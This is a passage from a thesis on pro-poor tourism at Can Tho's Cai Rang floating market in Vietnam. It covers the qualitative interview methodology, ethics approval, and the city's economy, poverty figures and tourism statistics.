from 53 quantitative ones as they do not produce quantified findings, have measurements or test hypotheses (Goodson & Phillimore, 2004). From this perspective, qualitative methods have sometimes been prone to criticism for what Goodson and Phillimore (2004) call a soft, non-scientific and inferior approach to study. It is said that qualitative methods will increase the usefulness for a tourism study if they are accompanied by, or used as a precursor to, quantitative methods. Nevertheless, there is no doubt that researchers must fully understand the weakness and strengths of all methods adopted to avoid potential inherent problems affecting their research design and, thus, their findings. Furthermore, a full understanding of the strengths and weaknesses of the approaches will increase the validity and reliability of the research findings, and so enable their findings to be generalised. Some strengths and weaknesses of qualitative and quantitative methods are summarised in Table 5. Table 5: Strengths and weaknesses of qualitative and quantitative methods Qualitative Methods (e.g. semi-structured interview) Quantitative Methods (e.g. questionnaire survey) * Strengths: 1) The data is based on the participants own categories of meanings 2) The results provide understandings and description of peoples personal experiences of phenomena and provide individual case information. 3) The researcher is responsive to changes that occur during the conduct of a study and may shift the focus of their study as a result. 4) Qualitative methods can be used for describing complex phenomena and can describe, in rich detail, phenomena as they are situated and embedded in local contexts. The researcher also can identify * Weaknesses: 1) The researchers categories may not reflect local constituencies understandings. 2) The researchers theories may not reflect local constituencies understandings. 3) The researcher may miss out on phenomena occurring because of the focus on theory or hypothesis testing rather than on theory or hypothesis generation (called confirmation bias). 4) The knowledge produced may be too abstract and general for direct application to specific local situations, contexts or individuals. 54 contextual and setting factors as they relate to the phenomenon of interest. * Weaknesses: 1) The knowledge produced may not generalise to other people or other settings. 2) It is difficult to make quantitative predictions using qualitative methods. 3) It is more difficult to test hypotheses and theories using qualitative methods. 4) Qualitative methods may have lower credibility with some administrators and commissioners of programmes. 5) It generally takes more time to collect and analyse data using qualitative methods. 6) The results are more easily influenced by the researchers bias. * Strengths: 1) Quantitative methods can generalise research findings when they have been replicated on many different populations and sub-populations. 2) Quantitative methods are useful for obtaining data that can allow quantitative predictions to be made. 3) Quantitative methods are useful for testing and validating already constructed theories about how and why phenomena occur. 4) Quantitative methods may have higher credibility with many people in power (e.g. administrators, politicians, or people who fund a programme). 5) Data collection and analysis is relatively less time-consuming (i.e. relatively quick). 6) The results are relatively independent of the researcher (e.g. effect size, statistical significance). (Source: Adapted from Johnson and Onwuegbuzie, 2004) Denzin and Lincoln (1998, p. 7) consider qualitative research as multi-method in focus, involving an interpretive, naturalistic approach to its subject matter. Qualitative methods are best used for research problems requiring depth of insight and understanding, especially when dealing with explanatory concepts. As set out by 55 Hakim (1987, 2003), qualitative methods involve describing the detail of a setting from the perspective of participants, and understanding actions and meanings in their social context an approach in which the formulation and testing of concepts and theories proceeds in conjunction with data collection. Qualitative methods are essentially descriptions of peoples representations and constructions of what is occurring in their world. These descriptions can take several forms depending on the research objectives. Qualitative research enabled the researcher to engage in the everyday life of the research participants and, as Malinowski (1922, p. 25) suggested, see the world from the natives point of view. Qualitative research, according to Merriam (1988), embraces both diversity and variability, because it seeks to explore the inter- relationship between the participants and their subjective experiences. Yow (2005, p. 7), like Malinowski (1922), suggests that within qualitative research, the researcher learns about the way of life by studying the people who live it, and, [by] asking them what they think about their experiences. Qualitative methods greatest strength lie in their ability to analyse what actual happens in naturally occurring settings (Silverman, 2006). According to Veal (1997), leisure is a qualitative phenomenon, and so for many researchers, qualitative research is the most suitable technique for leisure and tourism studies. Similarly, Riley and Love (2000) affirm that although tourism research requires quantification, mainly due to the economically driven nature of the industry, qualitative research provides an important perspective from which to view the phenomenon. Qualitative methods also offer a great deal of potential for helping us to understand the human dimensions of society, which in tourism includes its social and cultural implications. Therefore, tourism needs to embrace a general recognition of the legitimacy of a variety of research tools (Walle, 1997). In this regard, it is proposed that no method is privileged over the other, and the ideal method would be the most appropriate one for the task at hand (Veal, 1997). A qualitative methodology suited this research because it can produce rich and thorough information from a small group of people due to the increased depth of understanding of the case being researched. The researcher attempts to understand 56 what people in the floating market experience about the linkage between tourism and poverty alleviation. A qualitative approach seems to be the most appropriate approach for answering the research questions, since qualitative data is more powerful in allowing an understanding of the context issues that are the concern of PPT. The qualitative information can be used to explain the influence of tourism on local communities, to gain an understanding of how local populations perceive tourism impacts and the PPT concept, and to study interactions between the various tourism stakeholders who are relevant to PPT strategies. The qualitative method also allows the participants to speak out and explain their experiences or opinions without being overly constrained by the framework imposed by the researcher (Veal, 1997). In addition, the interview techniques, the sample size and the participant selection criteria, plus the coding and analysis domains were all designed to solicit the perceptions of the participants and their subjective experiences as found within their voice, language and values. Therefore, the researcher could seek multiple perspectives from a range of participants. Although the small numbers limit how much the findings can be generalised, a significant advantage of qualitative research is its liberty from predetermined categories of analysis this allows openness, detail and depth to the enquiry (Patton, 2002). Several studies of tourism and poverty alleviation have adopted a Value Chain Analysis (VCA) (Jamieson, Goodwin & Edmunds, 2004; Mitchell & Le, 2007; Mitchell & Faal, 2008; Overseas Development Institute, 2009). While VCA is a useful tool to assist in studies of pro-poor tourism it was not used in this study due to time constraints and the fact that no clear data on existing value chains was available the researcher would have needed to gain a broader base of general information before a full VCA could be implemented. 3.2.1. Semi-structured interviews The use of semi-structured interviews as a data collection method starts from the assumption that tourism stakeholders perspectives are significant, useful, comprehensible, and clear, and that they will positively affect the research and produce rich, detailed data for analysis (Frechtling & Sharp, 1997). Cook & Crang 57 (1995) argue that semi-structured interviews are a very useful tool for gathering information from tourism professionals and other concerned parties. The semi- structured interview allows more scope for elaboration and general discussion rather than the respondent just being presented with a set of fixed questions demanding fixed responses. Semi-structured interviews can be repeated for each person so that any differences between responses can be compared (Schoenberger, 1991). A good semi-structured interview is the result of rigorous preparation. The development of the interview schedule, the conducting of the interview, and the analysis the interview data all require careful consideration and preparation (Flick, 2002). The researcher used a semi-structured interview approach which allowed for structured questions in a set sequence with wording that was prescribed, but flexible, to account for the flow of the conversation (Merriam, 1988, p. 74). A semi- structured interview has a primary focus, but multiple subunits are studied to help understand the primary case more fully (Yin, 1994). Although this method is more time-consuming and the data more difficult to collect and analyse than the self- completion survey, it allows more freedom during interviews and enables unexpected issues or factors not defined in the questionnaire to be raised. It is important to remember that information collected by employing the semi- structured interview method is influenced by the personal characteristics of the interviewer, including their race, class, ethnicity and gender; the environment, too, within which interviews are conducted, can also affect the results (Denzin et al., 1994). Others warn that the quality of data elicited is largely dependent on the skills of the interviewer. Thus, to limit the incorrect understanding and reporting of responses, interviewers need to be highly trained; this is particularly so when the volume of information is large, rendering it difficult to transcribe and reduce data (Frechtling & Sharp, 1997; Johnson & Onwuegbuzie, 2004; Silverman, 2006). The ideal number of participants varies amongst researchers. Creswell (1998) suggests that interviews with twenty to thirty participants is reasonable. Others (Gunn & Goeldner, 1994; Neuman, 2000; Kitchin & Tate, 2000) suggest that it is unrealistic to specify the number of participants because the researcher cannot know how many participants will be required to reach saturation of the revealed concepts and make sure that all of the concepts important to the study are coded. 58 The semi-structured interview format was the best suited to this study because this interview typology minimises the researchers role yet emphasises the subjective experience of participant input (Bryman, 2004). This method also allowed flexible exploration of the issues under study and reflected the informal nature of the participantresearcher relationship. This relationship better enabled the researcher to interact with the interviewee in their own environment and the participants could tell their own story in a style that was best suited them. By using this research method, the researchers epistemological assumptions allowed the interview to flow naturally, rather than in a structured manner (Lincoln & Guba, 1985). A basic question guide was used for all interviews (see Appendix B), and the researcher used prompts and probes to elicit further information as new issues were uncovered. This approach allows the participants to discuss the issues facing their business in their own language and frame of reference (Henn, Weinstein & Foard, 2005). The semi- structured interview methods also enabled the researcher to understand, rather than have explained, participant perspectives within the data-analysis phase of this work (Bryman, 2004). In this study, the research included semi-structured interviews with 37 participants. Semi-structured interviews were conducted with a representative of Can Tho city tourism department, a tourism professional and thirty-one stallholders on the Cai Rang floating market, Can Tho city, one tour guide and three tour operators. The interviews were designed to gain a better understanding of the economic significance of the market to local communities and to gain insights into local attitudes towards pro-poor tourism. The interviews were conducted in Can Tho city over the period 30 November to 6 December 2009. The research was completed on 25 December 2009 by interviews with tour operators in Ho Chi Minh city. The researcher interviewed the respondents in the Vietnamese language then translated the main points into English. The interviews were conducted during the day at the respondents office or, in the cases of stallholders, they were interviewed at their stalls at a time which suited them. The interviews took anywhere from fifteen minutes to one hour. It is significant to note the time-consuming nature of semi-structured interviews because the willingness of interviewees to engage in such lengthy interview process can be a constraint on using 59 this type of research methodology. The researcher interviewed the respondents by herself. The interviews were tape-recorded with the agreement of the respondents. As is usually the case in informal-sector situations, there was no list of stallholders from which a sample could be taken. There was no gatekeeper and no one to introduce the researcher to candidates. An observation of the floating market was initially taken and a thorough daytime inventory revealed hundreds of boats. Subsequently, interviews were conducted with a sample of these stallholders. Interview participants were selected based on snowball sampling. This means after finishing the interview, the participant would recommend another candidate to the researcher. The stallholders on the Cai Rang floating market were purposefully selected in order to include a range of diverse characteristics including: male and female; young, middle-aged and old; and different education and income levels. The researcher had not met any of the interviewees previously. The interviewees were recruited by the researcher meeting them face to face. These candidates were given the opportunity to read concise background materials on the project. Interviewees were given a Participant Information Sheet (see Appendix A) and were required to sign a Consent To Participate form (see Appendix C) prior to the interview; this is in line with AUT Ethics Committee practices (see Appendix D). It is important to note that providing an introduction about the interviewer and their research objectives is one of the most important factors contributing to the interviews success, helping the interviewer and interviewees to know each other and so creating a friendly environment (Kitchen & Tate, 2000; Bowling, 2002). The number of interviews was limited to thirty-seven by the time available, cost of the researcher being in the area (Tashakkori & Teddlie, 1998) and the availability of interviewees. No one declined to be interviewed but one did not complete the interview due to the fact that she was busy with her business. Because the sample size was to be small and in-depth qualitative information was required, sample selection was considered to be one of the most important steps in this method. There is a popular misconception that the size of a sample should be decided on the basis of its relationship to the size of population (Neuman, 2000). In fact, there is no exact answer to the question of the sample size, i.e. how many participants are enough to ensure findings from semi-structured interviews are valid and can be generalised. 60 The sample size for semi-structured interviews depends on several factors such as the level of analysis and reporting, the richness of the individual case, and whether the participants have similar demographic attributes (Gunn & Goeldner, 1994; Kitchin & Tate, 2000). Nonetheless, as mentioned earlier, interviews with twenty to thirty participants is considered to be reasonable in terms of robustness (Creswell, 1998). It is argued that one of the most common problems in gathering information through interviews is that researchers can sometimes use ambiguous and unfamiliar terms and vague concepts (Tourangeau, Rips & Rasinski, 2000). Researchers should keep the questions simple, specific and concise, as well as provide examples when concepts are used. The researchers should also avoid double-barrelled questions and complicated syntax. In this study, the questions used were simplified by different sub-themes, with some easy questions requiring merely Yes/No answers. During the interviews, the participants were also given the opportunity to ask the researcher to clarify any questions. The interviews began with basic questions about the background of the interviewees, finding out about their education, their position in the organisation, work experience, and their knowledge on tourism development and the linkage between tourism and poverty alleviation. Stallholders were asked first about their own background then about their businesses, such as what services or products they provided, and the businesss turnover, employees and capital. They were also asked to give their impressions on tourism, their own role in Can Thos tourism industry, and forward and backward economic linkages. These first two sub-sections provided the information needed to understand the personal information about the interviewees and their businesses. These questions are also considered to be the warm-up part of the interview, creating interviewee confidence in the researcher before moving on to the main themes of the study. Questions then explored participants knowledge about tourism and poverty alleviation. The central themes of the semi-structured interviews cover qualitative information about the interviewees awareness and adoption of tourism in their business. The interviewees were also asked questions related to barriers and constraints in their adopting tourism strategies into their business practices. Interviewees were 61 encouraged to put forward their views and recommendations on particular issues raised in the interviews. The role of the interviewer was to listen, and to maintain focus and direction to prevent the conversation from going off on a tangent. 3.2.2. Data analysis While data collection plays a decisive role in any studys success, data analysis is also a most important factor. According to Strauss and Corbin (1998,) analysis is the interplay between researchers and data. Miles and Huberman (1994) indicate the first most important step in qualitative data analysis is data reduction: the process of selecting, focusing, simplifying, abstracting and transforming the data that appears in transcriptions and written field notes. Lacity and Janson (1994) state that qualitative analysis assumes that language analysis corresponds to an objective reality and that the researcher merely needs to find this objective reality. Qualitative information analysis is not a neutral description of reality but rather an act that shapes reality. When analysing the qualitative data collected from semi-structured interviews, all spoken information was transcribed into meaningful variables in an Excel Package. Much of the analysis of the semi-structured interview data involves summarising the data and presenting the results in a way that communicates the most important features. Qualitative information was labelled or coded so that the researcher could recognise differences and similarities between all the difference items (Flick, 2002). Initially, a pattern of cross-group differences could be discerned. Later an analysis of responses was performed. The use of interviewee quotes also supported the qualitative analysis. Changes, challenges and limitations Before the fieldwork started, the researcher had planned to recruit 35 candidates, being a local tourism official, a tourism professional and stallholders on the floating market in Can Tho city. Later, the number of candidates increased to 37, as some tour operators and a tour guide from the tourist companies in Ho Chi Minh city that operate tours to the Cai Rang floating market were also interviewed. 62 The stallholders were very friendly and receptive to an invitation for them to be interviewed. On the other hand, recruiting the official and tour operators to the interview was not easy because they were very busy. There were many festivals at the time the researcher arrived in Can Tho city, and it was hard to arrange a time for the interviews with them. Later, due to the social status and relationship of the researchers father, an interview with a local tourism official was conducted. In addition, it was the New Year season and so the tour operators were also busy. It was really challenging to invite them to the interviews. However, finally the interviews were conducted. The researcher had a chance to attend a regional tourism conference and listen to tourism professionals and officers discussing the tourism industry in the Mekong Delta region, including the Can Tho city area. The researcher interviewed a tourism professional after the conference. The tourism professional had shown her deep knowledge about the tourism industry and pro-poor tourism, so the researcher had a short interview with her. Research in Vietnam is still associated with certain problems, and there is relatively little published research on tourism in Vietnam. Some authors have found that most government organisations are not willing to share information and documents (Suntikul, Butler & Airey, 2010). Many researchers and scholars have been aware of the lack of reliable and accurate basic statistical information data for Vietnam, and the country lacks continuous historical data on the development of tourism. Ethics Ethical approval for the interviews was gained through the Auckland University of Technology Ethics Committee (AUTEC) under application number 09/208 filed in September 2009. This required confidentiality for individual participants throughout the research process. In a relatively small case-study population and due to the nature of the businesses, care had to be taken with selection of interview participants so as not to potentially reveal the identity of an interviewee by default. During the period of active research and subsequent compilation, no ethical issues arose with participants that were brought to the attention of either the researcher or the 63 nominated contact at AUTEC. Participants within this research were fully briefed within the research structure, as outlined earlier, through the consent and participant information sheets (see Appendices A and C). 64 4. The Case-Study Context 4.1 Can Tho City Can Tho city is located on the south bank of the Hau River, the largest tributary of the Mekong River. It is 75 kilometres from the South China Sea, 1,877 kilometres from the capital city of Vietnam, Hanoi, and 169 kilometres from Ho Chi Minh city in the north (by road) (Can Tho Portal, 2007a). Can Tho city is contiguous with five provinces: An Giang on the north, Dong Thap on the northeast, Vinh Long on the east, Hau Giang on the south, and Kien Giang on the western border (VNAT, 2009a). Can Tho city was created in the beginning of 2004 by a split of the former Can Tho province into two new administrative units: Can Tho city and Hau Giang province (Nguyen, 2004). Can Tho city has four urban districts Ninh Kieu, Binh Thuy, Cai Rang, and O Mon and four suburb districts Phong Dien, Co Do, Thot Not and Vinh Thanh (Mekong Life, 2009). The citys climate is tropical and monsoonal with two seasons: the rainy season lasts from May to November, and the dry season from December to April. The annual average temperature is 27oC, humidity 83%, and rainfall 1,635 millimetres (Can Tho Portal, 2007a). Can Tho city is in a region accumulated by alluvia from the Mekong River over centuries, and plain terrain features. The city stretches 65 kilometres along the river and has an interlacing system of rivers and ditches. The name Can Tho comes from cm thi giang which means river of poems (VNAT, 2008). In Can Tho, the residential areas are situated along banks of rivers and canals, and densely concentrated in hubs of waterways and roads, just like in neighbouring provinces in the Mekong Delta (Nguyen, 2004). Many economic and cultural activities closely relate to rivers and canals, which are like streets (VNAT, 2009a). Population Can Tho city has an area of 1,401.6 square kilometres and a population of about 1.2 million people. This means the population density is approximately 856 people per square kilometre (Can Tho InvestmentTradeTourism Promotion Centre, 2010). In 2004, the urban population accounted for 52% and suburb population for 48% of the total population. In the same year, there were 696,000 labourers in the city, with 373,540 people (53.67%) in agricultural production and the remainder in non- 65 agricultural sectors (Can Tho Portal, 2007b). A high percentage of labour is working in informal sectors in urban districts in Can Tho, which is common in Vietnamese cities and in developing countries (Nguyen, 2004). Economy Can Tho has seen considerable changes since 2004. The city now is the deltas most important centre for trade, tourism, culture, science and technology, attracting lots of business people, investors and tourists (Wikipedia, 2010). Can Thos economic structure has been shifted positively, with its annual income per capita exceeding US$1,400 in 2008 (VOV News, 2009). Economic growth in Can Tho for the period 20042008 was stable, averaging 15.64% (compared with an average rate of 12.36% for the entire Mekong Delta region), and the city contributed 10.9% of the GRP of the whole region (VnEconomy, 2009). Total revenue from sales of goods and services is estimated at VND42,113 billion. Foreign currency revenue from services is estimated at US$27.2 million in 2008, up 5.74% over the previous year. One other important indicator, the rate of urbanisation of Can Tho, has averaged about 10% per year compared with an urbanisation rate of 4.35% for the whole region (VnEconomy, 2009). Can Tho city is an important industrial centre. Its industrial production ranks first in the Mekong Delta and the twelfth of the whole country, with average growth rate of 19% per year approximately, contributing nearly 32% to the gross production of the city and its surrounds. Industrial production values reached VND15,160 billion in 2008. Can Tho city is concentrating on the industries of food processing, electricity, electronics and informatics, garments, footwear, chemicals, machinery and construction materials (Can Tho City Trade and Investment Co-operation Potential and Opportunity, 2009). Can Tho city has an agricultural area of approximately 1,150 square kilometres, which is mainly used for paddy cultivation, other farm products and fruits. The city has long been considered a rice centre of the south-west region and it is now the main place of rice production and rice export for the whole country. Annually, it produces more than 1.2 million tonnes of rice, and processes between 500,000 and 66 600,000 tonnes for export. In 2008, 420 thousand tonnes of rice, worth US$236 million, was exported from Can Tho (Can Tho City Trade and Investment Co- operation Potential and Opportunity, 2009). According to the Department of Trade and Industry in Can Tho city, in the first eight months of 2009, enterprises exported nearly 442,000 tons of rice (reaching 83.3% of the plan for the year). This is an increase of 34.7% over the same period of the previous year, although the export value of this rice, US$184 million, was only an increase of 0.8% from the same period. Rice exports currently account for 36% of the total export turnover of the city (Can Tho Portal, 2009). In addition, Can Tho city is also rich in aquatic resources such as shrimp and fish, and has an abundance of tropical fruits. It produces about 110,000 tonnes of fruits, 90,000 tonnes of aquatic products and 20,000 tonnes of beef and chicken every year (Can Tho City Trade and Investment Co-operation Potential and Opportunity, 2009). Can Tho city possesses a strategic location at the convergence of many important roads, waterways and airways. There are five national roads going through the vicinity of Can Tho city, connecting the city to other provinces in the Mekong Delta and the rest of the country (Can Tho InvestmentTradeTourism Promotion Centre, 2010). In April 2010, construction of the Can Tho Bridge was completed, connecting the important road axis from Can Tho city to Ho Chi Minh city and to the Mekong Delta provinces. It is the longest cable-stayed bridge in South-East Asia, and directly benefits more than 16 million residents south of the Hau River who, for almost 100 years, had had to travel between Can Tho and Vinh Long province by ferry (The Saigon Times, 2010). The opening of the bridge will create a fresh impetus for social, cultural and economic development in the Mekong Delta and particularly Can Tho city. The improvement of the citys infrastructure also includes the construction of Cai Cui international seaport and the upgrade of Can Tho airport (VOV News, 2009). There are daily hydrofoils between Ho Chi Minh city and Can Tho city (VNAT, 2009a). Furthermore, the Ministry of Transport has assigned the Vietnam Railways Administration to carry out a US$4 billion high-speed rail-line project linking Ho Chi Minh city to Can Tho city. Once completed, the line will run for approximately 67 100 kilometres and be able to carry passenger trains at a maximum speed of 350 km/h (VNAT, 2009b). 4.1.1 Can Tho city poverty measurement Can Tho citys economic growth rate is higher than the average for the whole country. In 2008, the citys industrial production was up by 16.9% and export revenue increased by 57.5 % compared with the previous year (Can Tho Investment Trade Tourism Promotion Centre, 2008b). This high economic growth has helped poverty reduction programmes in Can Tho city. In the last few years, Can Tho city has effectively carried out programmes for hunger eradication, poverty reduction and job creation for local people. The city has created more than 40,000 jobs each year and is trying to reduce the unemployment rate to less than 5% of its population during the period 20112015 (Can Tho City Guidance of Poverty Reduction Programme, 2008). In Can Tho city, 8,434 households moved out of poverty between 2006 and 2008 (Can Tho City Guidance of Poverty Reduction Programme, 2008). Using the national official definition of poor households, in 2008 the city had 17,777 poor households, representing 7.13% of the total number of households in the city; this is a decrease from 8.46% in 2007. Last year, the poverty rate decreased further, to 5.96% or 15,569 poor households. This year, the city plans to invest VND137 billion into poverty-reduction activities with an aim to decrease poverty rate to 5% by the end of 2010 (Vietnam Net, 2006, Can Tho City Department of Labour, War Invalids and Social Affairs, 2009). Despite the opportunities for socio-economic development, Can Tho city is still struggling with poverty alleviation. In 2004, a part of Can Tho province became Can Tho city while the rest became a part of Hau Giang province, and this separation of the administrative area impacted the progress of hunger and poverty reduction and job creation programme due to changes in the personnel administering them. Other reasons for struggling with poverty alleviation include lack of funding from the national government, and the policies and methods of supporting the poor are not specific and unsuitable. Meanwhile, some of the poor have not been active in finding 68 jobs or doing business they still rely on the support of the government and the community. In addition, a proportion of the poor do not receive the benefits from the governments policies because there is a lack of reliable data about poverty rates in some areas. The vice-chairman of Can Tho City Peoples Committee shared the experience on urban development and poverty reduction. Currently, the risk of fast population growth in the city is considerable (Vietnam Business Forum, 2008). Moreover, local labour is huge but of low quality and not capable of meeting the industrial production demands (Vietnam Net, 2006). Owing to economic development and urbanisation, the city is now faced with problems of widespread poverty, unemployment and lack of housing (Cities Alliance, 2004). During times of socio-economic development and investment into industry and the service sectors, rural inhabitants rush to urban areas for better job opportunities, yet they will actually find it more difficult because of their insufficient qualifications and skills. Unemployment and poverty have more adverse impacts on urban living quality than on any other factors (Nguyen, 2004). In the past, natural calamities and diseases have continuously affected lives and production of residents in Can Tho city, especially those who depend on agriculture for a living. Currently, nearly 2,500 households in Can Tho are faced with the risk of landslides. The city needs an investment of nearly VND148 billion for the construction of dykes and other infrastructure in new, safer resettlement schemes for the residents who live in flood- and landslide-prone areas. However, due to a lack of government funding, the completion of resettlement schemes for them has been impeded (Vietnam Net, 2010). Many inhabitants in Can Tho city do not have permanent accommodation and have to seek temporary shelter. Statistics from the city showed that in 2008, 5% of the 249,164 households needed dwelling support. However, within a year this had almost halved, with 2.72% of households needing dwelling support in 2009, and it was estimated this would reduce further to 2% in 2010 (Can Tho City Guidance of Poverty Reduction Programme, 2008). However, Thuy and Slingsby (2002) stated that unofficial figures for temporary houses were much higher due to those living in the city on a temporary basis without official registration. Their study also indicated 69 that many houses did not have access to their own sanitation facilities (Thuy & Slingsby, 2002). Although the majority (95%) of Can Thos inhabitants are no longer officially defined as poor, the number of households live just above the official poverty line is high and even increasing: last year, 13,619 households (5.2%) lived just above the official poverty line up from 10,911 households (4.38%) in 2008. This number has been estimated to reach 16,638 in 2010 (Can Tho City Department of Labour, War Invalids and Social Affairs, 2009). Furthermore, there is no doubt that when the new poverty line comes to effect, the number of poor households will increase. While a large number of households have been pulled out of poverty in the last few years, many of them live just above the poverty line and it would not take much to push them back into poverty. A large proportion of households, who depend on agricultural production, animal breeding and aquaculture, can easily slip into poverty when they are affected by natural calamities (Vietnam Net, 2006). Natural calamities, flood and disease occur frequently, especially in poor communes, and cause difficulties for the poor through damage to their production, property and dwellings (Can Tho City Guidance of Poverty Reduction Programme, 2008). Furthermore, while the percentage of poor households has reduced, the high population in Can Tho city means that the absolute number of poor people in the city is still very large. To summarise: the results of hunger eradication and poverty reduction activities in Can Tho city can still be improved, a large number of households live just above poverty line, and the risk of falling into poverty again is high. One key area that Can Tho is focusing on for economic development and the creation of new jobs and economic opportunities is the tourism sector. In particular, there is hope that this industry can grow on the basis of a number of attractions including the Cai Rang floating market. 70 Tourism The geographic advantages, unique cultural and ecological features, and the hospitality of local residents create great potential for Can Tho to develop a tourism industry. With its natural strengths, the city has created four types of tourist attractions: ecological river/water-based tourism: travelling to the isles and floating markets traditional cultural tourism: visiting cultural and historic sites such as museums, ancient houses in Binh Thuy, Ong pagoda, Can Tho ancient market and craft villages garden tourism: visiting Bang Lang stork garden/sanctuary, and fruit orchards, and MICE tourism: meetings, incentives, conferences and exhibitions. (Peoples Committee of Can Tho City, 2005) The tourism business in Can Tho has enjoyed some growth not only because of the citys good infrastructure (for example, hotels, telecommunications, roads and waterways, port, airport, and branches of major banks are all more developed in comparison with neighbouring provinces), but also because the region is rich in tourism resources such as beautiful natural landscapes, and many historical and cultural sites. Coming to Can Tho city, tourists can enjoy ecotours that allow them to take part in local life, taste fruits picked directly from trees, or study local ways of living. Many ecotourism sites have been developed, including My Khanh, Thuy Tien, Xuan Mai and Bang Lang stork sanctuary (Peoples Committee of Can Tho City, 2005). Tourists can also listen to folk music and songs performed by amateur singers, or visit hamlets, orchards, craft villages, shrimp ponds, fish cages and vast rice fields to see the blessings endowed by nature and the assiduous labour of southerners of many generations (Can Tho Portal, n.d.). In addition to the system of isles that are located on the Hau river, Can Tho also has 14 cultural and historic sites which are ranked as national relics, like the tomb of patriotic poet Phan Van Tri, Bui Huu Nghia, and the ancient village of Binh Thuy (VnEconomy, 2009). Tourists may be inspired to explore the ancient architecture of 71 well-known pagodas such as Ong pagoda, and they can enjoy shopping at Can Tho old/ancient market hall with its unique products of the western region. In addition, from Ninh Kieu Wharf on the Hau river, visitors can enjoy a cruise to the isles and have a chance to discover the floating markets by sampans and long-tail boats (Can Tho Portal, n.d.). The wharf itself is worth a separate visit: it is the meeting point of Can Tho and Hau rivers, and visitors can enjoy a spectacle of boats going and coming busily in a green, clean and beautiful environment (Can Tho Investment Trade Tourism Promotion Centre, 2008a). Tourist arrivals In 2008, the city attracted 817,250 tourists, an increase of 18% from 2007 (Can Tho Administrator of Culture, Sports and Tourism, 2010b). In 2009, due to the global economic crisis, the number of tourists visited Can Tho city decreased to 723,528. However, the city still saw an 11.6% increase in turnover (VNAT, 2010c). At present, not many international tourists visit Can Tho (about 4% of foreign tourists visiting Vietnam) but this group has increased over years. In 2008, international arrivals were 175,094, nearly triple that of the 2000 figure of 60,584. For the period from 2000 to 2009, the average growth rate of this group was 11.84% a year (Can Tho Administrator of Culture, Sports and Tourism, 2010b). The number of domestic tourists coming to Can Tho city is much higher than the international figure because tourism resources in Can Tho are more suitable to serve the domestic tourist and also because domestic travel demand is increasing (Peoples Committee of Can Tho City, 2005). Most of these tourists come from other provinces in the Mekong Delta; tourists from HCM city and other zones represent only a small percentage and most of them go to Can Tho on business (Pham, 2006). According to the Can Tho Administrator of Culture, Sports and Tourism (2010b), the volume of domestic tourists rose almost four-fold from 164,592 in 2000 to 642,156 in 2008 (see Table 6). The average growth rate of this group for the period from 2000 to 2009 was 15.5% a year. Generally, the flow of tourists, both international and domestic, shows an upward trend. With this rapid increase in domestic tourist numbers and with a suitable strategy to develop the tourism industry, Can Tho will attract not only more 72 tourists but also investors in the coming years because most of its potential has not yet been exploited fully (Pham, 2006). To serve an increasing number of visitors, tourism infrastructure in Can Tho has developed quite rapidly and its quality has also improved. In 2005, there were only 95 tourist accommodations, providing 2,328 rooms and 3,844 beds, and there was no 5-star hotel (Peoples Committee of Can Tho City, 2005), but by April 2010, Can Tho city had 165 tourist accommodations, providing 3,855 rooms and 5,979 beds (Can Tho Administrator of Culture, Sports and Tourism, 2010a). In recent years, the number of people working in the tourism industry has increased continuously. In 2000, there were 1,221 people working in the tourism sector, and this was estimated to have increased to 2,300 by 2005 (Peoples Committee of Can Tho City, 2005). The average growth was about 14.47% each year. Table 6: Tourists visiting Can Tho city from 20002009 Year International visitors Domestic visitors Tourism Revenue (VND million) 2000 60,584 164,592 79,739 2001 72,704 190,376 102,417 2002 90,496 209,649 133,715 2003 74,367 280,951 155,536 2004 86,648 320,682 189,143 2005 104,841 357,300 231,260 2006 121,221 422,429 270,980 2007 155,735 537,320 365,090 2008 175,094 642,156 455,198 2009 150,300 573,228 507,938 (Source: Can Tho Administrator of Culture, Sport and Tourism, 2010b). 73 With an increase in the number of visitors to Can Tho, tourism revenue has also increased. In 2000, annual tourism revenue was only VND79,739 million, but it had increased rapidly to VND507,938 million by 2009. This revenue comes from both direct and indirect tourism sectors. Most tourist expenditure (about 71.57% in 2009) is on food and accommodation (Can Tho Administrator of Culture, Sports and Tourism, 2010b), with much less being spent on entertainment, transportation and shopping. According to tourism statistics, the average tourist expenditure in Can Tho was only US$28 per day in 2005 an international tourist spent approximately US$25US$30 a day while domestic tourist expenditure was about US$23 per person per day (Peoples Committee of Can Tho City, 2005). Despite the fact that the number of tourists has increased, their length of stay in the city is rather short (1.29 days on average for international tourists and 1.23 days for domestic ones) and most of them are not returning visitors. This indicates that tourism products and services available in Can Tho city are not diverse and attractive enough to persuade tourists to stay longer or to return (Peoples Committee of Can Tho City, 2005). In general, there should be more investment in improving the quality of tourism products and services in order to increase tourists length of stay as well as their expenditure (Peoples Committee of Can Tho City, 2005). Challenges for tourism development in Can Tho Can Tho city is relatively unknown to people in many other cities and provinces, especially from the central region outward. While international tourists will often have heard about the Mekong Delta, their awareness of Can Tho city is likely to be very limited (Peoples Committee of Can Tho City, 2005). Furthermore, tourists may be discouraged from travelling to Can Tho city due to its long distance from other key tourism destinations. For example, tourists normally feel tired when they travel from Ho Chi Minh city to Can Tho, a journey of 200 kilometres that takes almost five hours. Poor hygienic conditions at tourist sites make tourists feel uncomfortable. To travel to some tourist sites, visitors have to pass through squalor, which may reduce their enjoyment of the experience and discourage them from returning. 74 In addition, other provinces and Can Tho city in the Mekong Delta region offer similar tours, which tend to simply copy-cat other attractions (Can Tho Portal, 2007c). A tour guide said that by visiting just one province in the Mekong Delta, tourists can experience the whole region; they dont have to travel around the thirteen provinces and city (Can Tho Tourist, 2009). The impression of tourists about Can Tho city is not much because the citys tourism products are not unique. This may be due to the spontaneous involvement by local people in the industry. While it is good to have local involvement, the city needs to develop standardised but unique products that suit to a range of tourist needs (Peoples Committee of Can Tho City, 2005). Despite improvements, transport links remain a constraint on tourism development in Can Tho city. Highway 1A is the only road from Ho Chi Minh city to Can Tho. A vast canal system supports water transport, but it is not easy to find a stable route for a high-speed boat. Even the boats which are used to carry travellers across the rivers are of low quality. The lack of professionally skilled personnel in the sector and the resultant poor customer service are also reasons that Can Tho city is not the first choice of higher-yield tourists. Furthermore, although there are plenty of festivals throughout the year, they have never been properly exploited. Thus, it can be said that the slow development of Can Tho tourism is not due to its resource deficiency, but to the limited methods being used. The biggest threat to tourism in Can Tho city is the current lack of co-ordination and organisation between the government, tour companies, and local residents. In order to develop the tourism industry more efficiently and so benefit local communities, there are still many things that need to be done, including developing unique tourist products, providing high-quality tourism products and services, and focusing on marketing, promotion and advertising. Furthermore, it is important to raise the awareness of local government officers and communities about the role of tourism in the socio-economic development of Can Tho city. There is also need for co-operation and co-ordination between government departments at all levels, local authorities and local 